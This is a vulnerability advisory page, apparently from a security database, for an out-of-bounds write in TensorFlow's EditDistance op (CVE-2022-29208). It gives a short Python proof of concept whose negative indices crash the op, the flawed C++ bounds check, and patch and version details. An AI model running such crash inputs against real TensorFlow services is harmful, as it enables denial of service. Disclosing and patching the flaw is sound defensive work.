High

Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

  • Disclosed: 24.05.2022
  • Updated: 11.10.2026 14:17

Impact

The implementation of tf.raw_ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

python
import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) 
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) 

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)

In multiple places throughout the code, we are computing an index for a write operation:

cc
if (g_truth == g_hypothesis) {
  auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                output_strides.begin(), int64_t{0});
  OP_REQUIRES(
      ctx, loc < output_elements,
      errors::Internal("Got an inner product ", loc,
                       " which would require in writing to outside of "
                       "the buffer for the output tensor (max elements ",
                       output_elements, ")"));
  output_t(loc) =
      gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
  // ...
}

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for loc.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-cpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-gpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1

References

CVSS score 7.1/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-787
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
24.05.2022
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3088 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3266 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-2r2f-g8mw-9gvr - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-943 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: tensorflow-cpu

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (430) in the archive
Total entries
430
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 111
  • Medium 208
  • Low 105

Disclosures per year

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Severity:
  1. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow this entry
    High · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  2. High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. High · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. High · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  12. High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
Show more (20) Showing 21 of 117

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.